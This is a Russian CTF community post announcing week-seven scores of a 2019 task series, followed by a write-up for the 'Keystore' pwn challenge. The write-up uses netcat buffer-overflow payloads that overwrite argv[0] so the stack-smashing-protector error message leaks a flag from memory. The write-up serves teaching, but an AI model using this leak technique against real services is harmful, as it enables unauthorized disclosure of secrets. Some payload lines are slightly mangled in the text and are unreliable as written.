Всё о CTF в России

Task-bot 2019: итоги седьмой недели

2019-07-19 17:35:30

Ура! Сегодня мы в предпоследний раз пишем вам о завершении тасковой недели. И пока мы не перешли к разбору и скорборду, хотим заранее заинтриговать следующим заданием — кажется, в нём будет всё, что вы любите.

Задание, выданное в понедельник, выглядело так:

Keystore (300 PTS)

Один из организаторов ЛШ2019 использует самодельный сервис для хранения паролей, естественно все защищено по максимуму и известны только ip и port сервиса. Я думаю и тут для тебя нет преград (x86)

nc pwn.letoctf.org 15551

И несмотря на два хинта, выданных в течение недели, решить таск смогли только два человека:

  1. rinagert512 - 1864 PTS
  2. kekov - 1847 PTS

Введите описание изображения

Райтап:

Попробуем подключится к сервису с помощью netcat и отправим строку длиной в 100 символов:

python -c "print 'a'×100" | nc localhost 15551

………………

[*]ENTER PASSWORD: *** stack smashing detected ***: /app/keystore terminated

[!]INCORRECT PASSWORD!

Видим, что программа защищена с помощью SSP (Stack Smashing Protector) от переполнения буфера.

Зная, что в конце выводится полное имя запущенной программы, попробуем переполнить буфер до аргументов (argv[0] – имя запускаемой программы).

python -c "print 'a'×216" | nc localhost 15551

………………..
[*]ENTER PASSWORD: *** stack smashing detected ***:  terminated

[!]INCORRECT PASSWORD!

Здесь название уже не выводится, т.к. в конце передаваемой строки стоит байт, означающий завершение строки, а значит, в argv[0] пустая строка.

Следующим шагом будет перебор адресного пространства x86 приложения (0x08040000 – 0x0804ffff) (можно написать скрпит для перебора). На адресе 0x0804a01c найдем наш флаг:

python -c "print 'a'×216+'x08x04xa0x1c'[::-1]" | nc localhost 15551

………………
[*]ENTER PASSWORD: *** stack smashing detected ***: LetoCTF{YES_SSP_1nF0l34k} terminated

[!]INCORRECT PASSWORD!